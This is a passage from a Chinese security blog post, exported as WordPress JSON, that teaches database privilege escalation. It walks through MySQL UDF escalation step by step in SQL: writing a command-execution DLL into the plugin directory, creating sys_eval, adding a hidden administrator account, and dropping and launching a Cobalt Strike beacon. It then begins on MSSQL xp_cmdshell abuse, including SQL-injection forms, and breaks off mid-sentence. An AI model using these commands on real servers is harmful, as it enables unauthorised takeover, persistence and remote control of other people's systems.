{"id":2507,"date":"2025-05-11T20:47:03","date_gmt":"2025-05-11T12:47:03","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=2507"},"modified":"2025-05-11T20:47:05","modified_gmt":"2025-05-11T12:47:05","slug":"04-%e5%ba%94%e7%94%a8%e7%a8%8b%e5%ba%8f%e6%8f%90%e6%9d%83","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2025\/05\/11\/04-%e5%ba%94%e7%94%a8%e7%a8%8b%e5%ba%8f%e6%8f%90%e6%9d%83\/","title":{"rendered":"04.\u5e94\u7528\u7a0b\u5e8f\u63d0\u6743"},"content":{"rendered":"<h1>\u4e00\u3001Mysql\u63d0\u6743<\/h1>\n<h2>\uff081\uff09\u5229\u7528\u573a\u666f<\/h2>\n<p>\u76ee\u6807\u4e3b\u673a\u5f00\u542f MySQL\u8fdc\u7a0b\u8fde\u63a5\uff0c\u5e76\u4e14\u653b\u51fb\u8005\u5df2\u7ecf\u83b7\u5f97MySQL\u6570\u636e\u5e93\u8fde\u63a5\u7684\u7528\u6237\u540d\u548c\u5bc6\u7801\u4fe1\u606f\uff0c\u901a\u8fc7UDF\u624b\u5de5\u63d0\u6743\u83b7\u5f97\u64cd\u4f5c\u7cfb\u7edf\u7ba1\u7406\u5458\u6743\u9650\u3002<\/p>\n<ol>\n<li>\u62e5\u6709\u6570\u636e\u5e93\u8d26\u53f7\u5bc6\u7801\uff0c\u53ef\u4ee5\u8fdc\u7a0b\u8fde\u63a5\u6570\u636e<\/li>\n<li>\u62e5\u6709Webshell\uff0c\u53ef\u4ee5\u8fde\u63a5\u6570\u636e\u5e93<\/li>\n<li>\u80fd\u591f\u5199\u6587\u4ef6<\/li>\n<li>\u53ef\u4ee5\u64cd\u4f5c\u6570\u636e\u5e93<\/li>\n<\/ol>\n<p>\u5982\u4f55\u83b7\u53d6\u6570\u636e\u5e93\u8d26\u53f7\u5bc6\u7801?<\/p>\n<ol>\n<li>\u627e\u6570\u636e\u5e93\u914d\u7f6e\u6587\u4ef6<\/li>\n<li>\u901a\u8fc7Webshell\u5bf9\u6570\u636e\u5e93\u8fdb\u884c\u672c\u5730\u7206\u7834<\/li>\n<li>Hash\u83b7\u53d6MySQL\u5bc6\u7801<\/li>\n<\/ol>\n<h2>\uff082\uff09UDF\u63d0\u6743\u7b80\u4ecb<\/h2>\n<ul>\n<li>\n<p>UDF\u63d0\u6743<br \/>\nUDF\u63d0\u6743\u6307\u7684\u662f\u5229\u7528\u6ce8\u5165\u6f0f\u6d1e\u6216\u5176\u4ed6\u6f0f\u6d1e\u83b7\u53d6\u4e86\u6570\u636e\u5e93\u64cd\u4f5c\u6743\u9650\u540e\uff0c\u901a\u8fc7\u6570\u636e\u5e93\u8f93\u51fa\u5177\u6709\u63d0\u6743\u529f\u80fd\u7684\u6587\u4ef6\u5e76\u6267\u884c\u63d0\u6743\u64cd\u4f5c\u3002<\/p>\n<\/li>\n<li>\n<p>UDF\u4ecb\u7ecd<br \/>\nUDF: User Defined Function(\u7528\u6237\u81ea\u5b9a\u4e49\u51fd\u6570)\uff0c\u4e3a\u7528\u6237\u63d0\u4f9b\u4e86\u4e00\u79cd\u9ad8\u6548\u521b\u5efa\u51fd\u6570\u7684\u65b9\u5f0f<br \/>\n\u653b\u51fb\u8005\u7f16\u5199\u8c03\u7528\u7cfb\u7edf cmd\u547d\u4ee4\uff08 linux\u4e0b\u76f8\u5f53\u4e8e\u8c03\u7528shell\u547d\u4ee4\uff09\u7684udf.dll\u6587\u4ef6\uff0c\u5e76\u5c06udf.dll\u5bfc\u51fa\u5230\u6307\u5b9a\u76ee\u5f55\u4e0b\uff0c\u653b\u51fb\u8005\u521b\u5efa\u4e00\u4e2a\u6307\u5411udf.dll\u7684\u81ea\u5b9a\u4e49\u51fd\u6570 func\uff0c\u6bcf\u6b21\u5728\u6570\u636e\u5e93\u67e5\u8be2\u4e2d\u6267\u884cfunc\u51fd\u6570\u7b49\u4ef7\u4e8e\u5728cmd\u547d\u4ee4\u4e2d\u6267\u884c\u547d\u4ee4\u3002<\/p>\n<\/li>\n<li>\n<p>dll\u6587\u4ef6\u5b58\u653e\u76ee\u5f55<br \/>\nWindows 2003\uff1a C:\\windows\\\u76ee\u5f55\u4e0b<br \/>\nMySQL 5.1 \u7248\u672c\u540e\uff1a MySQL\u5b89\u88c5\u76ee\u5f55\\lib\\plugin\\\u76ee\u5f55\u4e0b<\/p>\n<\/li>\n<\/ul>\n<h2>\uff083\uff09udf.dll<\/h2>\n<h3>1\uff09lib_mysqludf_sys_32.dll<\/h3>\n<p>\u5728 Metasploit framework \u91cc\u9762\u6709<br \/>\n\/usr\/share\/metasploit-framework\/data\/exploits\/mysql\/<\/p>\n<p>\u83b7\u53d6dll\u6587\u4ef6\u5bfc\u51fa\u51fd\u6570\uff1a<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/05\/Pasted-image-20250405223011.png\" alt=\"Pasted image 20250405223011.png\"><\/p>\n<h4>1.sys_exec<\/h4>\n<p>\u8be5\u51fd\u6570\u5c06\u5728\u201c\u7cfb\u7edf\u201d\u51fd\u6570\u5185\u4f20\u9012\u53c2\u6570 <code>args-&gt; args [0]<\/code>\u3002\u4f60\u53ef\u4ee5\u4f7f\u7528\u5b83\u5728\u76ee\u6807\u673a\u5668\u4e0a\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u3002<\/p>\n<pre><code># \u521b\u5efa\ncreate function sys_exec returns int soname 'udf.dll';\n\n# \u9a8c\u8bc1\nselect * from mysql.func where name = 'sys_exec';\n\n# \u5220\u9664\ndrop function sys_exec;\n<\/code><\/pre>\n<h4>2.sys_eval<\/h4>\n<p>\u8be5\u51fd\u6570\u5c06\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u5e76\u5728\u5c4f\u5e55\u4e0a\u901a\u8fc7\u6807\u51c6\u8f93\u51fa\u663e\u793a\u3002<\/p>\n<pre><code># \u521b\u5efa\ncreate function sys_eval returns string soname 'udf.dll';\n\n# \u9a8c\u8bc1\nselect * from mysql.func where name = 'sys_eval';\n\n# \u4f7f\u7528\nselect sys_eval('dir');\n\n# \u5220\u9664\ndrop function sys_eval;\n<\/code><\/pre>\n<h4>3.sys_get<\/h4>\n<p>\u8be5\u51fd\u6570\u4f7f\u7528getenv\u51fd\u6570\u8fd4\u56de\u7cfb\u7edf\u53d8\u91cf\u7684\u503c\u3002<\/p>\n<pre><code># \u521b\u5efa\ncreate function sys_get returns string soname 'udf.dll';\n\n# \u9a8c\u8bc1\nselect * from mysql.func where name = 'sys_get';\n\n# \u4f7f\u7528\nselect sys_get('longonserver');\n\n# \u5220\u9664\ndrop function sys_get;\n<\/code><\/pre>\n<h4>4.sys_bineval<\/h4>\n<p>\u8be5\u51fd\u6570\u5c06\u4f7f\u7528 VirtualAlloc API\u5206\u914d RWX\u5185\u5b58\uff0c\u5e76\u4f7f\u7528 strcpy\u5c06 <code>args-&gt; args [0]<\/code>\u590d\u5236\u5230\u65b0\u5206\u914d\u7684\u5185\u5b58\u4e2d\u3002\u7136\u540e\uff0c\u8fd9\u4e2a\u7f13\u51b2\u533a\u88ab\u4f20\u9012\u7ed9 CreateThread API\u6765\u4ea7\u751f\u4e00\u4e2a\u65b0\u7684\u7ebf\u7a0b\u3002<\/p>\n<pre><code># \u521b\u5efa\ncreate function sys_bineval returns int soname 'udf.dll';\n\n# \u9a8c\u8bc1\nselect * from mysql.func where name = 'sys_bineval';\n\n# \u5220\u9664\ndrop function sys_bineval;\n\n# \u4f7f\u7528\nselect sys_bineval(load_file('C:\\\\calc.b64'));\nselect sys_bineval(from_base64(load_file('C:\\\\calc.b64')));\n<\/code><\/pre>\n<h3>2\uff09k8-udf.dll<\/h3>\n<p>\u67e5\u770bdll\u6587\u4ef6\u5bfc\u51fa\u51fd\u6570\uff1a<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/05\/Pasted-image-20250405225637.png\" alt=\"Pasted image 20250405225637.png\"><\/p>\n<ul>\n<li>\u521b\u5efa\u51fd\u6570<\/li>\n<\/ul>\n<pre><code>create function \u51fd\u6570\u540d(\u533a\u5206\u5927\u5c0f\u5199) returns string soname &quot;dll\u540d&quot; (\u6ce8\u610f\u8def\u5f84);\n<\/code><\/pre>\n<ul>\n<li>\u5220\u9664\u51fd\u6570<\/li>\n<\/ul>\n<pre><code>delete function \u51fd\u6570\u540d;\n<\/code><\/pre>\n<ul>\n<li>\u4f7f\u7528\u51fd\u6570<\/li>\n<\/ul>\n<pre><code>select \u51fd\u6570\u540d(\u53c2\u6570\u5217\u8868);\n<\/code><\/pre>\n<ul>\n<li>\u83b7\u53d6\u53c2\u6570\u4fe1\u606f<\/li>\n<\/ul>\n<pre><code>select \u51fd\u6570\u540d(&quot;help&quot;);\n<\/code><\/pre>\n<ul>\n<li>dll\u5305\u542b\u7684\u51fd\u6570<\/li>\n<\/ul>\n<pre><code>cmdshell        \u6267\u884ccmd;\ndownloader      \u4e0b\u8f7d\u8005,\u5230\u7f51\u4e0a\u4e0b\u8f7d\u6307\u5b9a\u6587\u4ef6\u5e76\u4fdd\u5b58\u5230\u6307\u5b9a\u76ee\u5f55;\nopen3389        \u901a\u7528\u5f003389\u7ec8\u7aef\u670d\u52a1,\u53ef\u6307\u5b9a\u7aef\u53e3(\u4e0d\u6539\u7aef\u53e3\u65e0\u9700\u91cd\u542f);\nbackshell       \u53cd\u5f39Shell;\nProcessView     \u679a\u4e3e\u7cfb\u7edf\u8fdb\u7a0b;\nKillProcess     \u7ec8\u6b62\u6307\u5b9a\u8fdb\u7a0b;\nregread         \u8bfb\u6ce8\u518c\u8868;\nregwrite        \u5199\u6ce8\u518c\u8868;\nshut            \u5173\u673a,\u6ce8\u9500,\u91cd\u542f;\nabout           \u5173\u4e8e;\n<\/code><\/pre>\n<h2>\uff084\uff09\u5173\u4e8eMySQL\u5141\u8bb8\u8fdc\u7a0b\u8fde\u63a5<\/h2>\n<p>MySQL\u9ed8\u8ba4\u4e0d\u5141\u8bb8\u8fdc\u7a0b\u8fde\u63a5\uff0c\u8981\u8bbe\u7f6e MySQL\u4ee5\u5141\u8bb8\u8fdc\u7a0b\u8bbf\u95ee\uff0c\u6267\u884c\u5982\u4e0b\u547d\u4ee4\uff1a<\/p>\n<pre><code># \u8fde\u63a5mysql\u6570\u636e\u5e93\nmysql -uroot -p\n\n# \u6267\u884cGRANT\u6388\u6743\u8bed\u53e5\nGRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root\u5bc6\u7801';\n\n# \u5237\u65b0\u6743\u9650\nFLUSH PRIVILEGES;\n<\/code><\/pre>\n<p>\u8fd9\u6761\u547d\u4ee4\u4f7f\u7528GRANT\u8bed\u53e5\u6388\u4e88 root\u7528\u6237\u4ece\u4efb\u4f55\u4e3b\u673a\u8fdc\u7a0b\u8fde\u63a5\u5230MySQL\u670d\u52a1\u5668\u7684\u6743\u9650\uff0c\u6ce8\u610f\u9700\u8981\u63d0\u4f9b\u76f8\u5e94\u7684\u5bc6\u7801\u3002<\/p>\n<h2>\uff085\uff09UDF\u63d0\u6743\u6b65\u9aa4<\/h2>\n<h3>1\uff09\u786e\u5b9a\u64cd\u4f5c\u7cfb\u7edf\u548c\u67b6\u6784<\/h3>\n<pre><code>select @@version_compile_os, @@version_compile_machine;\n\nshow variables like '%compile%';\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/05\/Pasted-image-20250405230501.png\" alt=\"Pasted image 20250405230501.png\"><\/p>\n<h3>2\uff09\u67e5\u770bMySQL\u5b89\u88c5\u8def\u5f84\u548c\u7248\u672c<\/h3>\n<pre><code>show variables like '%char%';\nselect @@datadir;\nselect version();\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/05\/Pasted-image-20250406103844.png\" alt=\"Pasted image 20250406103844.png\"><\/p>\n<h3>3\uff09\u67e5\u770bplugin\u76ee\u5f55\u8def\u5f84<\/h3>\n<pre><code>select @@plugin_dir;\n\nshow variables like '%plugin%';\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/05\/Pasted-image-20250406104008.png\" alt=\"Pasted image 20250406104008.png\"><\/p>\n<h3>4\uff09\u67e5\u770b\u662f\u5426\u6709\u5199\u6743\u9650<\/h3>\n<pre><code>show global variables like '%secure%';\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/05\/Pasted-image-20250406104049.png\" alt=\"Pasted image 20250406104049.png\"><\/p>\n<ul>\n<li>MySQL\u5199\u6587\u4ef6<\/li>\n<\/ul>\n<pre><code>select '111' into dumpfile 'C:\\\\1.txt';\n\nselect '222' into outfile 'C:\\\\2.txt';\n<\/code><\/pre>\n<p>outfile\u51fd\u6570\uff1a\u53ef\u4ee5\u5bfc\u51fa\u591a\u884c\u6570\u636e<br \/>\ndumpfile\u51fd\u6570\uff1a\u53ea\u80fd\u5bfc\u51fa\u4e00\u884c\u6570\u636e<br \/>\noutfile\u51fd\u6570\uff1a\u5728\u5c06\u6570\u636e\u5199\u5230\u6587\u4ef6\u91cc\u65f6\u6709\u7279\u6b8a\u7684\u683c\u5f0f\u8f6c\u6362<br \/>\ndumpfile\u51fd\u6570\uff1a\u5728\u5c06\u6570\u636e\u5199\u5230\u6587\u4ef6\u91cc\u65f6\u4fdd\u6301\u6e90\u6570\u636e\u683c\u5f0f<\/p>\n<ul>\n<li>mysql \u7684 secure_file_priv \u53c2\u6570<br \/>\nsecure-file-priv \u53c2\u6570\u662f\u7528\u6765\u9650\u5236 LOAD DATA\uff0cSELECT \u2026 INTO OUTFILE, and LOAD_FILE()\u4f20\u5230\u54ea\u4e2a\u6307\u5b9a\u76ee\u5f55\u7684\u3002<br \/>\n\u5f53 secure-file-priv \u7684\u503c\u4e3aNULL\uff0c\u8868\u793a\u9650\u5236 mysqld \u4e0d\u5141\u8bb8\u5bfc\u5165\u3001\u5bfc\u51fa<br \/>\n\u5f53 secure-file-priv \u7684\u503c\u4e3a \/tmp\/\uff0c\u8868\u793a\u9650\u5236 mysqld \u7684\u5bfc\u5165\u3001\u5bfc\u51fa\u53ea\u80fd\u53d1\u751f\u5728\/tmp\/\u76ee\u5f55\u4e0b<br \/>\n\u5f53 secure-file-priv \u7684\u503c\u6ca1\u6709\u5177\u4f53\u503c\u65f6\uff0c\u8868\u793a\u4e0d\u5bf9 mysqld \u7684\u5bfc\u5165\u3001\u5bfc\u51fa\u505a\u9650\u5236<\/li>\n<\/ul>\n<p>\u67e5\u770bsecure-file-priv \u53c2\u6570\u7684\u503c\uff1a<\/p>\n<pre><code>show global variables like '%secure%';\n<\/code><\/pre>\n<p>\u6b64\u5f00\u5173\u9ed8\u8ba4\u4e3a NULL\uff0c\u5373\u4e0d\u5141\u8bb8\u5bfc\u5165\u5bfc\u51fa\u3002<\/p>\n<ul>\n<li>\u8bbe\u7f6e secure_file_priv \u53c2\u6570\uff1a<br \/>\nWindows: \u4fee\u6539 my.ini \u5728 <code>[mysqld]<\/code>\u5185\u52a0\u5165<code>secure_file_priv=<\/code>\uff0c\u91cd\u542f mysql<br \/>\nLinux\uff1a\u4fee\u6539 my.cnf \u5728 <code>[mysqld]<\/code>\u5185\u52a0\u5165<code>secure_file_priv=<\/code>\uff0c\u91cd\u542f mysql<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/05\/Pasted-image-20250406112351.png\" alt=\"Pasted image 20250406112351.png\"><\/li>\n<\/ul>\n<h3>5\uff09\u521b\u5efa\u4e34\u65f6\u8868<\/h3>\n<pre><code>create table udftemp(data BLOB);\n<\/code><\/pre>\n<p>\u5c1d\u8bd5\u521b\u5efa\u4e00\u4e2a\u540d\u4e3a udftemp \u7684\u8868\u548c\u4e00\u4e2a\u540d\u4e3a data \u7684\u5217\uff0c\u5217\u7684\u6570\u636e\u7c7b\u578b\u662f BLOB\u3002<br \/>\nBLOB \u5168\u79f0\u4e3a Binary Large Objects\uff0c\u901a\u5e38\u7528\u4e8e\u5b58\u50a8\u5927\u578b\u4e8c\u8fdb\u5236\u5bf9\u8c61<br \/>\n\u6216\u8005<\/p>\n<pre><code>create table udftemp(data longblob);\n<\/code><\/pre>\n<h3>6\uff09\u5c06dll\u5185\u5bb9\u8f6c\u4e3a\u5341\u516d\u8fdb\u5236<\/h3>\n<p>\u53ef\u4ee5\u901a\u8fc7 MySQL\u7684 hex\u51fd\u6570\u5c06 dll\u6587\u4ef6\u4e8c\u8fdb\u5236\u6570\u636e\u8f6c\u4e3a\u5341\u516d\u8fdb\u5236\u6570\u636e\uff0c\u5e76\u4fdd\u5b58\u5230udf.txt\u6587\u4ef6\u4e2d<\/p>\n<pre><code>select hex(load_file('C:\\\\udf.dll')) into dumpfile 'C:\\\\udf.txt';\n<\/code><\/pre>\n<p>\u6216\u8005\u4f7f\u7528cyberchef<br \/>\n\u5bfc\u5165\u6587\u4ef6\uff0c\u4f7f\u7528<code>to hex<\/code>\uff0c\u5c06Delimiter\uff08\u5206\u9694\u7b26\uff09\u6539\u4e3aNONE<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/05\/Pasted-image-20250406114419.png\" alt=\"Pasted image 20250406114419.png\"><\/p>\n<p>\u6ce8\u610f\uff1aMYSQL\u4f7f\u7528\u7684\u662f32\u4f4d\u7684dll\u6587\u4ef6\u3002<\/p>\n<h3>7\uff09\u5c06dll\u6587\u4ef6\u5185\u5bb9\u63d2\u5165\u8868\u4e2d<\/h3>\n<p>\u5c06udf.dll\u4e8c\u8fdb\u5236\u6570\u636e\u63d2\u5165\u4e34\u65f6\u8868 udftemp\u4e2d<\/p>\n<pre><code>insert into udftemp(data) values (0x+udf.txt\u4e2d\u7684\u503c);\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/05\/Pasted-image-20250406145547.png\" alt=\"Pasted image 20250406145547.png\"><\/p>\n<h3>8\uff09\u5c06dll\u5bfc\u51fa\u5230plugin\u76ee\u5f55<\/h3>\n<p>\u5c06 udf.dll\u5bfc\u51fa\u5230 MySQL\u5b89\u88c5\u76ee\u5f55\u4e0b\u7684 lib\/plugin\/udf.dll\u6587\u4ef6\u4e2d<\/p>\n<pre><code>select data from udftemp into dumpfile &quot;C:\\\\phpStudy\\\\PHPTutorial\\\\MySQL\\\\lib\\\\plugin\\\\udf.dll&quot;;\n<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/05\/Pasted-image-20250406150436.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/05\/Pasted-image-20250406150436.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"Pasted image 20250406150436.png\"><\/div><br \/>\n\u5982\u679c\u6ca1\u6709plugin\u76ee\u5f55\uff0c\u9700\u8981\u81ea\u5df1\u521b\u5efa<\/p>\n<h3>9\uff09\u521b\u5efa\u51fd\u6570<\/h3>\n<pre><code>create function sys_eval returns string soname 'udf.dll';\n<\/code><\/pre>\n<h3>10\uff09\u6267\u884c\u547d\u4ee4<\/h3>\n<pre><code>select sys_eval('whoami');\n<\/code><\/pre>\n<h3>11\uff09\u6dfb\u52a0\u7ba1\u7406\u5458\u7528\u6237<\/h3>\n<pre><code>select sys_eval('net user udftest 123456 \/add &amp; net localgroup administrators udftest \/add');\n\nselect sys_eval('net localgroup administrators')\n<\/code><\/pre>\n<h2>\uff086\uff09\u547d\u4ee4\u6267\u884c\u53cd\u5f39shell<\/h2>\n<pre><code># \u521b\u5efa\u4e34\u65f6\u8868\ncreate table beacon(data longblob);\n\n# \u8f6c\u6362beacon.exe\u4e8c\u8fdb\u5236\u5185\u5bb9\u4e3a\u5341\u516d\u8fdb\u5236\nselect hex(load_file('C:\\\\beacon.exe')) into dumpfile 'C:\\\\beacon.txt';\n\n# \u5c0616\u8fdb\u5236beacon\u6587\u4ef6\u5199\u5165beacon\u8868\ninsert into beacon(data) values (0x+beacon.txt\u4e2d\u7684\u503c);\n\n# \u5199\u5165beacon.exe\nselect data from beacon into dumpfile &quot;C:\\\\beacon.exe&quot;;\n\n# \u5229\u7528\u521b\u5efa\u7684\u547d\u4ee4\u6267\u884c\u51fd\u6570\u6267\u884cbeacon.exe(\u4f7f\u7528\u9ad8\u6743\u9650\u6267\u884c)\nselect sys_eval('start c:\\\\beacon.exe')\n<\/code><\/pre>\n<h2>\uff087\uff09MSF\u5229\u7528<\/h2>\n<pre><code>exploit\/multi\/mysql\/mysql_udf_payload\n<\/code><\/pre>\n<h1>\u4e8c\u3001MSSQL\u63d0\u6743<\/h1>\n<h2>\uff081\uff09MSSQL\u89d2\u8272\u7528\u6237\u6743\u9650<\/h2>\n<table>\n<thead>\n<tr>\n<th>\u6743\u9650\u7b49\u7ea7<\/th>\n<th>\u89d2\u8272<\/th>\n<th>\u63cf\u8ff0<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>1<\/td>\n<td>bulkadmin<\/td>\n<td>\u53ef\u4ee5\u8fd0\u884cBULKINSERT\u8bed\u53e5\uff0c\u8be5\u8bed\u53e5\u5141\u8bb8\u4ece\u6587\u672c\u6587\u4ef6\u4e2d\u5c06\u6570\u636e\u5bfc\u5165\u5230SQL Server2008\u6570\u636e\u5e93<\/td>\n<\/tr>\n<tr>\n<td>2<\/td>\n<td>dbcreator<\/td>\n<td>\u53ef\u4ee5\u521b\u5efa,\u66f4\u6539,\u5220\u9664\u548c\u8fd8\u539f\u4efb\u4f55\u6570\u636e\u5e93\uff0c\u4e0d\u4ec5\u9002\u5408\u52a9\u7406DBA\u89d2\u8272,\u4e5f\u53ef\u80fd\u9002\u5408\u5f00\u53d1\u4eba\u5458\u89d2\u8272<\/td>\n<\/tr>\n<tr>\n<td>3<\/td>\n<td>diskadmin<\/td>\n<td>\u7528\u4e8e\u7ba1\u7406\u78c1\u76d8\u6587\u4ef6\uff0c\u6bd4\u5982\u955c\u50cf\u6570\u636e\u5e93\u548c\u6dfb\u52a0\u5907\u4efd\u8bbe\u5907<\/td>\n<\/tr>\n<tr>\n<td>4<\/td>\n<td>processadmin<\/td>\n<td>SQL Server 2008\u53ef\u4ee5\u540c\u65f6\u591a\u8fdb\u7a0b\u5904\u7406\uff0c\u8fd9\u4e2a\u89d2\u8272\u53ef\u4ee5\u7ed3\u675f\u8fdb\u7a0b<\/td>\n<\/tr>\n<tr>\n<td>5<\/td>\n<td>public<\/td>\n<td>\u521d\u59cb\u72b6\u6001\u65f6\u6ca1\u6709\u6743\u9650\uff0c\u6240\u6709\u6570\u636e\u5e93\u7528\u6237\u90fd\u662f\u5b83\u7684\u6210\u5458<\/td>\n<\/tr>\n<tr>\n<td>6<\/td>\n<td>securityadmin<\/td>\n<td>\u7ba1\u7406\u767b\u5f55\u540d\u53ca\u5176\u5c5e\u6027\uff0c\u53ef\u4ee5\u6388\u6743,\u62d2\u7edd\u548c\u64a4\u9500\u670d\u52a1\u5668\u7ea7\/\u6570\u636e\u5e93\u7ea7\u6743\u9650\uff0c\u53ef\u4ee5\u91cd\u7f6e\u767b\u5f55\u540d\u548c\u5bc6\u7801<\/td>\n<\/tr>\n<tr>\n<td>7<\/td>\n<td>serveradmin<\/td>\n<td>\u53ef\u4ee5\u66f4\u6539\u670d\u52a1\u5668\u8303\u56f4\u7684\u914d\u7f6e\u9009\u9879\u548c\u5173\u95ed\u670d\u52a1\u5668<\/td>\n<\/tr>\n<tr>\n<td>8<\/td>\n<td>setupadmin<\/td>\n<td>\u4e3a\u9700\u8981\u7ba1\u7406\u8054\u63a5\u670d\u52a1\u5668\u548c\u63a7\u5236\u542f\u52a8\u7684\u5b58\u50a8\u8fc7\u7a0b\u7684\u7528\u6237\u800c\u8bbe\u8ba1<\/td>\n<\/tr>\n<tr>\n<td>9<\/td>\n<td>sysadmin<\/td>\n<td>\u8fd9\u4e2a\u89d2\u8272\u6709\u6743\u5728SQL Server2008\u4e2d\u6267\u884c\u4efb\u4f55\u64cd\u4f5c<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h2>\uff082\uff09MSSQL\u5e38\u7528\u547d\u4ee4<\/h2>\n<pre><code># \u67e5\u770b\u6570\u636e\u5e93\u7248\u672c\nselect @@version\n\n# \u67e5\u770b\u6570\u636e\u5e93\u7cfb\u7edf\u53c2\u6570\nexec master..xp_msver;\n\n# \u67e5\u770b\u7528\u6237\u6240\u5c5e\u89d2\u8272\u4fe1\u606f\nsp_helpsrvrolemember\n\n# \u67e5\u770b\u5f53\u524d\u6570\u636e\u5e93\nselect db_name();\n\n# \u67e5\u770b\u5f53\u524d\u8d26\u6237\u6743\u9650\nselect IS_SRVROLEMEMBER('sysadmin')  #\u5224\u65ad\u662f\u5426\u4e3asa\u6743\u9650\nselect IS_MEMBER('db_owner')         #\u5224\u65ad\u662f\u5426\u4e3adba\u6743\u9650\n\n# \u7981\u7528advanced options\nexec sp_configure 'show advanced options',0;GO RECONFIGURE;\n<\/code><\/pre>\n<h2>\uff083\uff09xp_cmdshell<\/h2>\n<h3>1\uff09\u7b80\u4ecb<\/h3>\n<p>xp_cmdshell \u6269\u5c55\u5b58\u50a8\u8fc7\u7a0b\uff0c\u53ef\u4ee5\u8ba9\u7cfb\u7edf\u7ba1\u7406\u5458\u4ee5\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4\u884c\u89e3\u91ca\u5668\u7684\u65b9\u5f0f\u6267\u884c\u7ed9\u5b9a\u7684\u547d\u4ee4\u5b57\u7b26\u4e32\uff0c\u5e76\u4ee5\u6587\u672c\u884c\u65b9\u5f0f\u8fd4\u56de\u4efb\u4f55\u8f93\u51fa\u3002<\/p>\n<p>\u6ce8\u610f\uff1a<br \/>\nSQL Server 2000 \u4e2d\u9ed8\u8ba4\u662f\u5f00\u542f\u7684<br \/>\nSQL Server 2005 \u4e2d\u9ed8\u8ba4\u662f\u4e0d\u5f00\u542f\u7684<\/p>\n<h3>2\uff09\u57fa\u672c\u4f7f\u7528<\/h3>\n<pre><code>exec master..xp_cmdshell &quot;dos\u547d\u4ee4&quot;;\n<\/code><\/pre>\n<p>\u5982\uff1a<\/p>\n<pre><code>exec master..xp_cmdshell &quot;ver&quot;\n<\/code><\/pre>\n<h3>3\uff09\u63d0\u6743\u5229\u7528<\/h3>\n<p>1.\u5224\u65ad\u7528\u6237\u6743\u9650<br \/>\n\u53ea\u6709 sysadmin \u7ec4\u7684\u7528\u6237\u624d\u80fd\u6267\u884c xp_cmdshell<\/p>\n<pre><code>select IS_SRVROLEMEMBER ('sysadmin')\n<\/code><\/pre>\n<p>\u8fd4\u56de\u7ed3\u679c\u4e3a1\u8868\u660e\u5f53\u524d\u7528\u6237\u5728 sysadmin \u7ec4<\/p>\n<p>\u6ce8\u5165\u5f62\u5f0f\uff1a<\/p>\n<pre><code>and (select IS_SRVROLEMEMBER ('sysadmin'))=1--\n<\/code><\/pre>\n<p>2.\u5224\u65ad\u662f\u5426\u5b58\u5728xp_cmdshell<br \/>\n\u5224\u65ad\u6570\u636e\u5e93\u4e2d\u662f\u5426\u5b58\u5728 xp_cmdshell \u7ec4\u4ef6\uff0c\u8fd4\u56de\u7ed3\u679c\u4e3a1\u8868\u660e\u7ec4\u4ef6\u5b58\u5728<\/p>\n<pre><code>select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell'\n<\/code><\/pre>\n<p>\u6ce8\u5165\u5f62\u5f0f\uff1a<\/p>\n<pre><code>and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')\n<\/code><\/pre>\n<p>3.\u68c0\u6d4b xp_cmdshell \u662f\u5426\u542f\u7528<br \/>\n\u5c1d\u8bd5\u901a\u8fc7 xp_cmdshell \u6267\u884c\u547d\u4ee4\uff0c\u68c0\u6d4bxp_cmdshell\u662f\u5426\u542f\u7528<\/p>\n<pre><code>exec master..xp_cmdshell &quot;ver&quot;;\n<\/code><\/pre>\n<p>\u5982\u679c\u670d\u52a1\u672a\u5f00\u542f\uff0c\u6267\u884c xp_cmdshell \u5c06\u4f1a\u63d0\u793a\u5982\u4e0b\u7684\u5185\u5bb9<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/05\/Pasted-image-20250406164117.png\" alt=\"Pasted image 20250406164117.png\"><\/p>\n<p>4.\u542f\u7528 xp_cmdshell<br \/>\n\u7cfb\u7edf\u7ba1\u7406\u5458\u53ef\u4ee5\u901a\u8fc7\u4f7f\u7528 sp_configure \u542f\u7528 